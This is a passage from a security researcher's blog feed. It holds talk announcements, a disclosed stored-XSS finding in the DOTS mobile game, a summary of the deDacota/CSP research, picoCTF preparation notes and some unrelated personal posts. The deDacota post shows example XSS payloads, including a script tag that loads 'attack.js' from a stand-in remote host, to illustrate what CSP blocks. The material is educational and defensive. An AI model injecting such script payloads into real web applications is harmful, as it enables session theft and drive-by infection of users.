of <a href="https://campus.asu.edu/west">ASU&rsquo;s West Campus</a> by the wonderful
<a href="https://sites.google.com/a/asu.edu/hackney-lab/">Dr. Jennifer Hackney Prince</a>. This department is a
very interesting and diverse group, so I decided to give a high-level
talk about some of the work that we&rsquo;ve done on securing mobile
applications.</p>

<p>I titled this talk &ldquo;A Computer in Every Pocket: Securing Mobile
Applications,&rdquo; because I believe that mobile applications are
fundamentally changing the way that we interact with technology.
Furthermore, these devices contain lots of sensitive and personal
data, and keeping users safe and this data private is a goal of my
research.</p>

<p>I focused on two recent research projects: mobile web applications and
the target fragmentation problem in Android. This work is published in
the following papers:
<a href="http://adamdoupe.com/publications/large-scale-study-of-mobile-web-app-security-most2015.pdf">&ldquo;A Large-Scale Study of Mobile Web App Security&rdquo;</a>
by Mutchler et al. and
<a href="http://adamdoupe.com/publications/target-fragmentation-in-android-apps-most2016.pdf">&ldquo;Target Fragmentation in Android Apps&rdquo;</a> by Mutchler et
al. (with a different et al.).</p>

<p>Technical content of the slides are courtesy of the excellent
<a href="http://stanford.edu/~pcm2d/">Dr. Patrick Mutchler</a>.</p>

<p>Here is the video recording of the talk:</p>

<iframe width="420" height="315" src="https://www.youtube.com/embed/WH2x1ePdp6E" frameborder="0" allowfullscreen></iframe>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[OWASP Phoenix Talk on Black-Box Web Vulnerability Scanners]]></title>
    <link href="http://adamdoupe.com/blog/2016/06/30/owasp-phoenix-talk-on-black-box-web-vulnerability-scanners/"/>
    <updated>2016-06-30T08:49:52-07:00</updated>
    <id>http://adamdoupe.com/blog/2016/06/30/owasp-phoenix-talk-on-black-box-web-vulnerability-scanners</id>
    <content type="html"><![CDATA[<p>On Wednesday, June 29th, 2016, I was privileged to give a talk at
<a href="http://www.meetup.com/OWASP-Phoenix/">OWASP Phoenix</a> titled &ldquo;Everything You&rsquo;ve Ever Wanted
to Know About Black-Box Web Vulnerability Scanners (But Were Afraid to
Ask)&rdquo;.</p>

<p>This was an exciting talk for me, as it was my first ever OWASP
meeting. I am a big fan of <a href="https://www.owasp.org/index.php/Main_Page">OWASP</a>, and they have been instrumental to
helping shape my knowledge of security. I&rsquo;m happy to start giving back
to the OWASP community.</p>

<p>In this talk I covered parts of the paper
<a href="http://adamdoupe.com/publications/black-box-scanners-dimva2010.pdf">Why Johnny Can&rsquo;t Pentest: An Analysis of Black-box Web Vulnerability Scanners</a>, along with the intentionally
vulnerable web application <a href="https://github.com/adamdoupe/WackoPicko">WackoPicko</a>, which is
contained in the great
<a href="https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project#tab=Main">OWASP Broken Web Applications Project</a>.</p>

<p>I then covered parts of the paper <a href="http://adamdoupe.com/publications/enemy-of-the-state-usenix2012.pdf">Enemy of the State: A State-Aware Black-Box Web Vulnerability Scanner</a>, which
the source code of the
<a href="https://github.com/adamdoupe/enemy-of-the-state">state-aware-crawler</a> is available on
GitHub.</p>

<p>I also discussed some preliminary work in this area and where I see
the field of black-box vulnerability analysis research heading in the
future.</p>

<p>There&rsquo;s also a fantastic Q&amp;A session at the end with great question
from the audience.</p>

<p>Here is the video of the talk:</p>

<iframe width="420" height="315" src="https://www.youtube.com/embed/cDQa0-UuPEY" frameborder="0" allowfullscreen></iframe>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Guest Lecture on Cross-Site Scripting for CSE 466]]></title>
    <link href="http://adamdoupe.com/blog/2015/11/18/guest-lecture-on-cross-site-scripting-for-cse-466/"/>
    <updated>2015-11-18T10:20:08-07:00</updated>
    <id>http://adamdoupe.com/blog/2015/11/18/guest-lecture-on-cross-site-scripting-for-cse-466</id>
    <content type="html"><![CDATA[<p>On Wednesday, 11/18/15, I gave a guest lecture in
<a href="http://cactus.eas.asu.edu/partha/">Partha Dasgupta</a>&rsquo;s <a href="http://cactus.eas.asu.edu/partha/Teaching/466.2015/">CSE 466</a> class on
<a href="https://en.wikipedia.org/wiki/Cross-site_scripting">Cross-Site Scripting</a> vulnerabilities. As this was an
undergrad class, I spent time covering the evolution of HTML, the role
of JavaScript on the web, the security model of JavaScript, the
browser&rsquo;s <a href="https://en.wikipedia.org/wiki/Same-origin_policy">Same Origin Policy</a>, how XSS attacks are about
circumventing the Same Origin Policy, how XSS vulnerabilities result
from the server-side web application code concatenating string to
create HTML output that is sent to the user&rsquo;s browser, how XSS
vulnerabilities can be exploits, and how XSS vulnerabilities can be
prevented.</p>

<p>Much of this material is derived from my <a href="http://adamdoupe.com/teaching/classes/cse591-security-and-vulnerability-analysis-s15/">CSE 591</a>
class, which is a grad class on web security, compressed into a single
lecture targeted to undergrads. We did not get to cover client-side
XSS vulnerabilities (also called DOM-based XSS) or lots of other cool
stuff.</p>

<p>Here is the video of the talk:</p>

<iframe width="420" height="315" src="https://www.youtube.com/embed/LsyEfOvg2hU" frameborder="0" allowfullscreen></iframe>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Stored XSS in Popular DOTS Mobile Game]]></title>
    <link href="http://adamdoupe.com/blog/2013/09/26/found-stored-xss-in-popular-dots-game/"/>
    <updated>2013-09-26T08:25:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/09/26/found-stored-xss-in-popular-dots-game</id>
    <content type="html"><![CDATA[<p><a href="http://weplaydots.com/"><img src="http://adamdoupe.com/images/dots-logo.png" /></a></p>

<p>So you may or may not be familiar with the popular mobile game
<a href="http://weplaydots.com/">DOTS</a>. Well, if you haven&rsquo;t checked it out, I urge
you to. It&rsquo;s a lot of fun, and it&rsquo;s available on both
<a href="https://play.google.com/store/apps/details?id=com.nerdyoctopus.gamedots">Android</a> and <a href="https://itunes.apple.com/us/app/dots-a-game-about-connecting/id632285588?mt=8&amp;ign-mpt=uo%3D4">iOS</a>.</p>

<p>Anyway, while playing this game, I discovered a stored <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS
vulnerability</a> in DOTS. Here&rsquo;s how it came about.</p>

<h1>XSS in a Mobile Game?</h1>

<p>So, while playing the multiplayer mode of DOTS, I noticed that there
was a &ldquo;Share&rdquo; feature. This feature allows you to share (or brag
about) your scores with a friend. What happens is that the app uploads
your scores and names to the web server (I haven&rsquo;t looked into the
exact HTTP request that it makes), gets back a unique URL, then allows
you to send this URL to someone.</p>

<!-- more -->


<p>After seeing this in action, I decided to see what would happen if I
put some HTML tags into the names (&lt;b&gt; tags around my name, and some
special characters after Rebecca&rsquo;s name:</p>

<p><img src="http://adamdoupe.com/images/dots-bold-try.png" /></p>

<p>Whoa, my name shows up in bold! I smell an XSS&hellip;</p>

<p><a href="http://www.youtube.com/watch?v=Wj_OmtqVLxY">Cha-ching</a>!</p>

<p>Now, what happens if we inject a &lt;script&gt; tag with a call to
<code>alert</code>?</p>

<p>(By the way, it was a lot of fun to do this by typing it into a mobile
phone.)</p>

<p><img src="http://adamdoupe.com/images/dots-alert-xss.png" /></p>

<p>Alright, we&rsquo;re in business.</p>

<h1>Let&rsquo;s have some fun</h1>

<p>Well, for this game, I thought it would be really interesting to make
Rebecca and I have the highest score in the game. I think we succeeded:</p>

<p><img src="http://adamdoupe.com/images/dots-awesomly-high-score.png" /></p>

<h1>Other Bad Stuff</h1>

<p>So, what could a bad guy use this vulnerability for?</p>

<p>Infect people who visit the page via a
<a href="http://en.wikipedia.org/wiki/Drive-by_download">drive-by download</a>. How can you get a lot of
people to visit the page? How about the previously described approach
of having a crazy high score?</p>

<h1>Disclosure Timeline</h1>

<ul>
<li>9/1/2013 Vulnerability discovered</li>
<li>9/2/2013 Vender Notified</li>
<li>9/9/2013 (approximate) Verified Fix</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Agile in the Computer Science Classroom]]></title>
    <link href="http://adamdoupe.com/blog/2013/09/10/agile-in-the-cs-classroom/"/>
    <updated>2013-09-10T08:21:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/09/10/agile-in-the-cs-classroom</id>
    <content type="html"><![CDATA[<p>A
<a href="https://twitter.com/keinath/statuses/374696157383237633">recent tweet</a>
by <a href="https://twitter.com/keinath">Steve Keinath aka @keinath</a> about using Agile in the CS
classroom
<a href="https://twitter.com/agileschools/statuses/374767096187461632">led to a discussion</a>
between <a href="https://twitter.com/adamdoupe">myself</a> and
<a href="https://twitter.com/agileschools">John Miller aka @agileschools</a>. Twitter, while great
for starting discussions and connecting people, is not-so-great for
conveying nuanced thoughts.</p>

<p>So here I&rsquo;ll try to summarize my thoughts on Agile in the Computer
Science classroom, based on my experiences.</p>

<!-- more -->


<h2>Background</h2>

<p>In Winter Quarter 2009 at UCSB, I took an excellent graduate class
called Scalable Internet Services (290F) taught by the amazing Klaus
Schauser (founder of <a href="http://en.wikipedia.org/wiki/Citrix_Online">Expertcity aka GoToMeeting</a> and
more recently <a href="http://en.wikipedia.org/wiki/AppFolio">AppFolio</a>) and <a href="http://pivotallabs.com/author/rhale/">Ross Hale</a> of
<a href="http://pivotallabs.com/">Pivotal Labs</a>.</p>

<p>The basic idea of the class was to teach us how modern websites (as of
2009, of course) are built. We learned (from the top of my head)
<a href="http://rubyonrails.org/">Ruby on Rails</a>, <a href="http://aws.amazon.com/ec2/">Amazon EC2</a>, vertical scaling, load
balancers, <a href="http://en.wikipedia.org/wiki/Git_(software)">git</a>, and Agile software development practices. All
this theory was backed up by a course-long project, created by a group
of 5 to 7 people.</p>

<p>It was during this project that we were exposed to Agile software
development in a practical sense. Ross helped us understand and apply
Agile development practices to our projects. We came up with user
stories, broke those down into features, estimated the hours each of
the features would take, and ordered the features into a queue. Then,
I believe we had one or two week sprints (I can&rsquo;t remember the exact
length of a sprint) where we would work on the features. We used the
<a href="http://en.wikipedia.org/wiki/Scrum_(software_development)">scrum</a> methodology, along with
<a href="http://en.wikipedia.org/wiki/Pair_programming">pair programming</a> and <a href="http://en.wikipedia.org/wiki/Test-driven_development">TDD</a>. Klaus and Ross
took the place of stakeholders in the scrum system.</p>

<p>The class was excellent and was a great introduction to a wide-range
of technologies from people who are actually using those technologies
in industry.</p>

<p>Also, I should note, as it&rsquo;s relevant to my thoughts on this class,
that I later had professional experience with scrum. When working at
Microsoft as a full-time software developer, my team switched to a
scrum process, instead of the <a href="http://en.wikipedia.org/wiki/Waterfall_development">waterfall</a> method
we had used previously.</p>

<h2>The Good</h2>

<p>Now that I&rsquo;ve explained the class and my experience with scrum
professionally, I&rsquo;ll share what I thought was awesome about using
scrum in a CS classroom for graduate students.</p>

<h3>Exposure to Agile</h3>

<p>Using scrum in class was a great way to understand what scrum was
really about, rather than simply reading a book. This exposure made it
much easier to use scrum professionally. I think I was also able to
convincingly advocate for the change to scrum because I already had
some experience. I could draw parallels for my coworkers between what
we were already doing and what we would do in scrum (and how we could
benefit from the sprint model and frequent feedback from stakeholders).</p>

<p>An additional benefit was simply the exposure to a different style of
software development. It&rsquo;s quite powerful just to start thinking that
there&rsquo;s not one way to develop software, especially in school.</p>

<h3>Benefits of Pair Programming</h3>

<p>Pair programming was hard to schedule as grad students. In a team of
five, finding someone to pair with was difficult, and honestly we
didn&rsquo;t do it as much as we should have.</p>

<p>That being said, those times that we were able to pair program were
eye-opening. It was startling to see how clear and high-level you can
think when you&rsquo;re not driving the keyboard. The other huge benefit was
the transfer of knowledge: How did you make emacs do that? What Ruby
feature is that? What command-line program did you just use?</p>

<h2>The Not-So-Good</h2>

<p>Ultimately, using something like scrum in a quarter-long (10 weeks)
collaborative project for graduate students was not effective. The
simple problem is: the amount of time that students can devote to a
class fluctuates wildly week-to-week, mostly due to outside demands
(other classes, Teaching Assistant responsibilities, or research).
Some weeks in our stake-holder meetings, we made no progress, not
burning down any hours or completing any features. This made us feel
like crap, and made us look bad that week to our stake-holders.</p>

<p>Also, we didn&rsquo;t have a chance to have daily standups, because we
weren&rsquo;t in the same place every day at the same time.</p>

<p>However, by the end of the class we had a complete, full-featured,
Ruby on Rails website running on EC2. (Ours was a cool private torrent
site where you only seeded to or leeched from your Facebook friends.) How
did that happen? Well, some weeks were more productive than
others. Much more productive.</p>

<p>So really, the problem was in the variability of hours students could
devote to the course. I think that this variability obscured some of
the benefits of Agile.</p>

<h2>Advice for Agile in the Classroom</h2>

<p>I think that using agile software development techniques in the
classroom is an excellent idea. Exposing students to new ideas and
approaches to developing software should broaden their thinking and
should prepare them for real-world software development. However, any class
that takes this approach, that doesn&rsquo;t have an exclusive lock on the
student&rsquo;s time (like a dev bootcamp might), needs to factor in the
variability of the student&rsquo;s time.</p>

<p>So blindly applying the scrum model to the classroom will not be as
effective as some kind of variation that keeps in mind the student&rsquo;s
time. I&rsquo;m not sure exactly what that is yet. Do you have any ideas?</p>

<p><a href="http://www.bryceboe.com/">Bryce Boe</a> reminded me that the class was taught two more
times by a different Professor, <a href="http://www.linkedin.com/in/jwalker">Jon Walker</a> CTO of
<a href="http://en.wikipedia.org/wiki/AppFolio">AppFolio</a>, so maybe Jon&rsquo;s updated the course.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation]]></title>
    <link href="http://adamdoupe.com/blog/2013/09/05/dedacota-toward-preventing-server-side-xss-via-automatic-code-and-data-separation/"/>
    <updated>2013-09-05T18:13:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/09/05/dedacota-toward-preventing-server-side-xss-via-automatic-code-and-data-separation</id>
    <content type="html"><![CDATA[<p>This post is an overview of the paper
<a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation</a>
which was written as a collaboration between the
<a href="http://seclab.cs.ucsb.edu" title="UC Santa Barbara seclab">UC Santa Barbara Seclab</a> and <a href="http://research.microsoft.com/en-us/default.aspx">Microsoft Research</a>,
by <a href="http://adamdoupe.com" title="Adam Doupe">yours truly</a>. I&rsquo;m very excited to present this
work at the
<a href="http://www.sigsac.org/ccs/CCS2013/index.html">2013 ACM Conference on Computer and Communication Security</a>
in Berlin. If you&rsquo;re there, please say hi! (Also, if you have
suggestions of places or things to do in Europe,
<a href="mailto:adoupe@cs.ucsb.edu">let me know</a>!)</p>

<p>So, what is deDacota?</p>

<h2>deDacota</h2>

<p><a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">deDacota</a> is my attempt to tackle the
<a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross-Site Scripting (XSS)</a> problem. I know what you&rsquo;re
thinking, there&rsquo;s been a <em>ton</em> of excellent research on this area. How
could this work possibly be new?</p>

<h2>XSS</h2>

<p>Previously, we as a research community have looked at XSS
vulnerabilities as a problem of lack of sanitization. Those pesky web
developers (I am one, so I can say this) just can&rsquo;t seem to properly
sanitized the untrusted input that is output by their application.</p>

<p>You&rsquo;d think that after all this time (at least a decade, if not more),
the XSS problem would be done and solved. Just sanitize those inputs!</p>

<!-- more -->


<h2>Hold on a minute</h2>

<p>Well, the XSS problem is actually more complicated than it seems at first
glance.</p>

<h2>Root cause</h2>

<p>For this work, we went back and asked: What&rsquo;s the root cause of XSS
vulnerabilities? The answer is obvious when you think about it, and
it&rsquo;s not a lack of sanitization. The root cause is: <em>the current
web application model violates the basic security principle of code
and data separation.</em></p>

<p>In the case of a web application the data is the HTML markup of the
page and the code is the JavaScript code, and the problem of XSS comes
when an attacker is able to trick a browser to interpret data (HTML
markup) as code (JavaScript).</p>

<h2>A world without XSS</h2>

<p>In an ideal world, the JavaScript that a developer intends to execute
on a specific HTML page would be sent to the browser on a different
channel. This would mean that even if an attacker is able to inject
arbitrary HTML content into the data section, the browser will never
interpret that as JavaScript code. Wouldn&rsquo;t that be great?</p>

<h2>That world exists now</h2>

<p>Some people who are smarter than me have already realized this problem
of mixing HTML and JavaScript code in the same web page. They banded
together to create the <a href="http://www.w3.org/TR/CSP/">Content Security Policy (CSP)</a>. CSP lets
a developer achieve this code and data separation via an HTTP header
and browser support.</p>

<p>The basic idea is that the web site sends a CSP HTTP header. This
header specifies to the browser which JavaScript can be executed. The
developer can specify a set of domains where the page is allowed to
load JavaScript (allowing developers to control the <code>src</code> attribute in
a &lt;script&gt; tag). Also, the developer can specify that there will
be no inline JavaScript in the webpage.</p>

<p>With these two abilities, a web developer can communicate to the
browser exactly what JavaScript should be executed, and, if properly
designed, an attacker should not be able to execute any JavaScript!
How you ask? If the developer forgot to sanitize some output, they
have two choices to inject JavaScript (well, OK, there&rsquo;s a lot of way,
but all of them are covered by CSP):</p>

<ol>
<li><p>Inject inline JavaScript:</p>

<pre><code> &lt;script&gt;alert('xss');&lt;/script&gt;
</code></pre></li>
<li><p>Inject remote JavaScript:</p>

<pre><code> &lt;script src="example.com/attack.js"&gt;&lt;/script&gt;
</code></pre></li>
</ol>


<h2>CSP blocks both</h2>

<p>Inline JavaScript is blocked by the CSP header, and remote JavaScript
is blocked because the <code>src</code> of the script tag is not in the CSP
allowed domain list!</p>

<p>Huzzah!</p>

<h2>That sounds amazing, sign me up</h2>

<p>I fully believe that CSP is the future for web applications. CSP
provides excellent defense-in-depth. In fact, Google has required that
all new <a href="http://developer.chrome.com/extensions/contentSecurityPolicy.html">Google Chrome Extensions use CSP</a>.</p>

<p>However, for existing web applications, the conversion can be, shall
we say, <a href="https://www.usenix.org/legacy/event/hotsec11/tech/final_files/Weinberger.pdf">difficult</a>.</p>

<h2>Wouldn&rsquo;t it be great if this conversion could be done automatically?</h2>

<p>Well, I&rsquo;m glad you asked, and this is where <a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">deDacota</a>
comes in.</p>

<p>See, we developed an approach to automatically separate the code and
data of a web application, and we enforce that separation with CSP. We
implemented a prototype of this approach and
<a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">wrote a paper about it</a>.</p>

<h2>That&rsquo;s cool, how does it work?</h2>

<p>Thanks, nice of you to ask.</p>

<p>First, I need to emphasize that this is a research prototype. Consider
<a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">deDacota</a> as a proof-of-concept that shows that it is
possible to automatically separate the code and data of a web
application.</p>

<p>As a first step, we tackled the problem of automatically separating
the inline JavaScript into external JavaScript. (And we completely
ignored the problems of separating JavaScript in HTML attributes,
inline CSS, and CSS in HTML attributes. The point of a research
prototype is to show that the high-level idea can work.)</p>

<p>Here I&rsquo;ll try to give a very high-level description of how our
approach works.</p>

<p>We first, for every web page in the application, need to approximate
the HTML output of that web page. Then, from our approximation, we
extract all the inline JavaScript that the page could potentially
output. Finally, we rewrite the application so that all the inline
JavaScript is turned into external JavaScript. Assuming that you&rsquo;ve
found all the inline JavaScript, <em>boom</em>, your application now has the
code and data separated, and you can apply a CSP policy.</p>

<h2>Prove it</h2>

<p>Prove what, exactly? Prove that this approach works in all cases (it
doesn&rsquo;t), prove that we find all the inline JavaScript (we can&rsquo;t), or
prove that you&rsquo;ll never break an application (we didn&rsquo;t, but it may be
true).</p>

<h2>So what good is it?</h2>

<p>Well, we took the first step, and we showed that this approach, while
it won&rsquo;t work for every application, is able to work on <em>real-world</em>
ASP.NET applications. We ran our tool on 6 open-source applications,
some with known-vulnerabilities, some that were intentionally
vulnerable, and one with a developer-written test suite.
<a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">deDacota</a> was able to successfully discover all
inline JavaScript in each application, and rewrite the application
without breaking the way the application functions. The rewritten
applications, along with CSP, successfully prevent the known
vulnerabilities.</p>

<h2>I want to know more</h2>

<p>Well, if you&rsquo;ve made it all the way to the end, then I assume you do
want to know more. Please, check out the
<a href="http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf" title="dedacota paper">full deDacota paper</a>, and feel free to
<a href="mailto:adoupe@cs.ucsb.edu">email me with any questions</a> or
<a href="https://twitter.com/adamdoupe">follow me on Twitter: @adamdoupe</a>. Thanks!</p>

<p>Extra Credit: Why deDacota? What does it mean?</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Back That Data Up: A Cautionary Tale]]></title>
    <link href="http://adamdoupe.com/blog/2013/09/02/back-that-data-up-a-cautionary-tale/"/>
    <updated>2013-09-02T16:42:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/09/02/back-that-data-up-a-cautionary-tale</id>
    <content type="html"><![CDATA[<p>This is a true story that recently happened, and I wanted to
share/document it here as a reminder to always backup your research
data.</p>

<p>Turns out I was so tired after the 24-hour coding blur that was the
<a href="http://ictf.cs.ucsb.edu/">2013 iCTF</a> that I didn&rsquo;t back up the database. Or if I
did, I didn&rsquo;t check it into our SVN repo. Then, to make matters worse,
I didn&rsquo;t make a note to backup the data later.</p>

<!-- more -->


<p>Fast-forward to this past Friday (4 months later), when
<a href="http://cs.ucsb.edu/~vigna/">Giovanni Vigna</a> wanted some data from the 2013 iCTF
from me. No problem, should be easy, let me just, oh crap, where is
that database, is it this file, no that&rsquo;s the empty table schema, what
about on my desktop, tarantino, what about the server, they wiped the
server for <a href="https://www.defcon.org/html/links/dc-ctf.html">DEFCON CTF</a>, oh god oh god, it&rsquo;s all gone.</p>

<p>Luckily for me, a fellow PhD student had the foresight to backup the
servers using <a href="http://duplicity.nongnu.org/">duplicity</a> before wiping them. This is an
excellent policy, and I fully support it for the future. And I was
able to extract the mysql database files, put them on my desktop and
access the database. And now, the 2013 iCTF database is correctly
backed up (on <a href="http://db.tt/MbkMWJ1">my Dropbox</a> and our SVN repo, which is backed
up). Great Success! Or rather: Epic Fail Averted!</p>

<p>Moral of the story: Always make a backup of your research data.
Always. Like now, not later.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Simple Bash Function: SSH and Keep Same Directory]]></title>
    <link href="http://adamdoupe.com/blog/2013/07/16/ssh-to-server-in-same-directory/"/>
    <updated>2013-07-16T15:19:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/07/16/ssh-to-server-in-same-directory</id>
    <content type="html"><![CDATA[<p>Here&rsquo;s a quick Bash function that I whipped up to SSH into a server
and keep the same directory. The use case for me is that I have a
Dropbox shared between my laptop and server. Sometimes I need to run
something (experiment, code, whatever) on the server. It was becoming
annoying to <code>ssh</code> and then <code>cd</code> to the correct directory.</p>

<p>I call this function <code>sshere</code> (ssh here):</p>

<script src="https://gist.github.com/adamdoupe/6224872.js"></script>


<p>Feel free to use, steal, or adapt to your needs.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[picoCTF Preparations]]></title>
    <link href="http://adamdoupe.com/blog/2013/04/10/picoctf-preparations/"/>
    <updated>2013-04-10T16:26:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/04/10/picoctf-preparations</id>
    <content type="html"><![CDATA[<h1>Getting Started</h1>

<p><a href="http://www.picoctf.com/">picoCTF</a> is an awesome hacking competition aimed at High
School students. The great guys at <a href="http://www.cmu.edu/index.shtml">CMU</a> and <a href="http://ppp.cylab.cmu.edu/wordpress/">PPP</a> are
putting on this innovative competition. I had some High School
students ask for pointers to prepare for the picoCTF. I invited them
to our weekly hacking group and talked about the hacking mindset and
basic tools. They amazed me with their knowledge&mdash;I was cutting my
teeth on <a href="http://en.wikipedia.org/wiki/TI-83_series#Programming">TI-83</a> BASIC programming in math class when I was
their age.</p>

<p>What follows are my notes on the lecture I gave and the discussion
that we had. I hope other young hackers find these resources useful
while preparing for picoCTF.</p>

<h2>Hacker Mindset</h2>

<p>First and foremost, we need to understand how the hacker thinks. How
should you think when you&rsquo;re trying to break a program?</p>

<!-- more -->


<h3>What is hacking?</h3>

<p>To me, hacking is using something in a different way than the designer
intended. For programs, this means bending the program to your will
and making it do something that the original developer didn&rsquo;t intend.
Note that you can hack other things than programs, but we&rsquo;ll keep our
focus on computer systems.</p>

<h4>How is competition hacking different?</h4>

<ul>
<li><p>Someone created this program with the specific purpose of <em>you</em>
hacking and breaking it.</p></li>
<li><p>Ask yourself &ndash; what&rsquo;s my goal here?</p></li>
<li><p>Get a flag, understand how a program works, find a hidden file, find
hidden information, crack a code.</p></li>
<li><p>What are the program&rsquo;s assumptions?</p></li>
</ul>


<h2>Problem Solving</h2>

<p>For me, problem solving is the most important skill for a hacker. For
a programmer as well.</p>

<p>Before you can solve a problem, you must first understand: What is the
problem? Seems simple, but it&rsquo;s an important point.</p>

<p>Problem solving takes similar skills to debugging&mdash;something is
happening that I do not expect.</p>

<h3>Think like a scientist</h3>

<p>You have assumptions. What are those assumptions?</p>

<p>Run through each one of your assumptions. Where did you get this
assumption? Is this assumption still valid?</p>

<p>What is going on? What exactly is the problem?  Does it invalidate one of your assumptions?</p>

<p>What is your current hypothesis?</p>

<p>What is the easiest way to test your hypothesis? This is the thing I
see hackers fail the most. Oh, you think the database is MySQL and
you&rsquo;re trying to create an SQL injection exploit? Should you take an
hour to finely craft a MySQL-specific SQL injection exploit? Or should
you take five minutes and test that MySQL-specific comments work in
your SQL-injection?</p>

<h2>Basic Tools</h2>

<ul>
<li>Your brain</li>
</ul>


<p>Gotta bring your brain if you wanna compete. Sometimes you need to
step away from a problem to give your brain time to chew on the problem.</p>

<ul>
<li>editor (<a href="http://www.vim.org/">vim</a> or <a href="http://www.gnu.org/software/emacs/">emacs</a>)</li>
</ul>


<p>I don&rsquo;t care what editor you use, but choose something and learn it.
That time pays dividends in the future, so do it now.</p>

<ul>
<li>Touch typing</li>
</ul>


<p>Sounds silly, but when I was in college I thought I could type
correctly. I used a modified hunt-and-peck developed from furious AIM
conversations in 7th and 8th grade. However, I made lots of mistakes
and wasn&rsquo;t as fast as I could be (and am now).</p>

<p>When I got a job developing software professionally for Microsoft I
took the time and practiced correctly touch typing for an hour a day.
I&rsquo;m now much faster, I type correctly, and I don&rsquo;t have any wrist
issues. Plus, I&rsquo;m not embarrassed when other people watch me type.</p>

<ul>
<li><p>Google / Bing</p></li>
<li><p>python / <a href="http://www.secdev.org/projects/scapy/">scapy</a> / <a href="http://ipython.org/">ipython</a></p></li>
<li><p>bash</p></li>
<li><p>Reading Code</p></li>
</ul>


<p>It&rsquo;s really important, not just for hackers, but for developers as a
whole to be able to read other people&rsquo;s code. Also useful is to use a
debugger while reading the code so you can validate your assumptions
about how the code works and what the code is doing.</p>

<h2>Binary</h2>

<p>These next four tools are what I run on every binary I get for every
single hacking competition.</p>

<ul>
<li><p>file</p></li>
<li><p>strings</p></li>
<li><p>strace</p></li>
<li><p>ltrace</p></li>
</ul>


<h2>Network</h2>

<p>The following network tools are indispensable.</p>

<ul>
<li><p>netcat/nc/socat</p></li>
<li><p>tcpdump/wireshark/tshark/</p></li>
</ul>


<h1>Trivia</h1>

<p>Can you understand the (silly) reference we&rsquo;re making?</p>

<ul>
<li><p>Google-fu</p></li>
<li><p>Famous hacking instances</p></li>
<li><p>Internet Memes</p></li>
</ul>


<h1>Forensics</h1>

<p>Can you find the hidden flag?</p>

<ul>
<li><p>grep</p></li>
<li><p><a href="http://www.cgsecurity.org/wiki/PhotoRec">photorec</a></p></li>
<li><p><a href="https://code.google.com/p/binwalk/wiki/TableOfContents?tm=6">binwalk</a></p></li>
<li><p>Sleuth Kit + Autopsy interface</p></li>
</ul>


<h1>Cryptography</h1>

<p>Can you break the code and get the flag?</p>

<ul>
<li><p><a href="http://www.oxid.it/cain.html">Cain an Able</a> (windows only)</p></li>
<li><p>Difference between hashing and encryption</p></li>
<li><p><a href="http://www.gnu.org/software/gnu-crypto/manual/api/gnu/crypto/tool/Ent.html">ent</a></p></li>
<li><p>xor</p></li>
<li><p><a href="http://www.cryptool.org/en/">Cryptool</a></p></li>
</ul>


<h1>Web Exploitation</h1>

<p>Can you compromise a web application? Lot&rsquo;s of types, two biggest that
you absolutely must be familiar with are <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">XSS</a> and <a href="https://www.owasp.org/index.php/SQL_Injection">SQL Injection</a>.</p>

<ul>
<li><p><a href="http://www.portswigger.net/burp/proxy.html">Burp Proxy</a></p></li>
<li><p>Firefox or Chrome</p></li>
</ul>


<p>Specifically here I&rsquo;m talking about knowing how to use the JavaScript
console and JavaScript debugging capabilities of Chrome or Firefox.</p>

<h1>Reverse Engineering</h1>

<p>How does this program work? Usually here you need to understand the
program then once you understand the problem you can get the flag.</p>

<ul>
<li><p>objdump</p></li>
<li><p>readelf</p></li>
</ul>


<h1>Binary Exploitation</h1>

<p>Can you crash it? Can you force the program to give you the flag?</p>

<ul>
<li><p><a href="http://insecure.org/stf/smashstack.html">smashing the stack for fun and profit</a></p></li>
<li><p><a href="http://www.gnu.org/software/gdb/">gdb</a></p></li>
</ul>


<p>That&rsquo;s it, please feel free to add your own recommendations.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Some Classic Literature Recommendations]]></title>
    <link href="http://adamdoupe.com/blog/2013/04/03/some-classic-literature-recommendations/"/>
    <updated>2013-04-03T15:51:00+00:00</updated>
    <id>http://adamdoupe.com/blog/2013/04/03/some-classic-literature-recommendations</id>
    <content type="html"><![CDATA[<p>Recently, a friend asked me to recommend some classic English books
for him. He&rsquo;s Persian and was born in Iran, so it was fun to give him
some of my favorite american books. I decided to put that list here
in case you&rsquo;re looking for a book to read.</p>

<h2><a href="http://www.amazon.com/gp/product/1451626657/ref=as_li_ss_tl?ie=UTF8&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1451626657&amp;linkCode=as2&amp;tag=adamspics-20">Catch-22</a></h2>

<p>One of the funniest books I&rsquo;ve ever read. About WWII and it&rsquo;s sad and funny at the same time.</p>

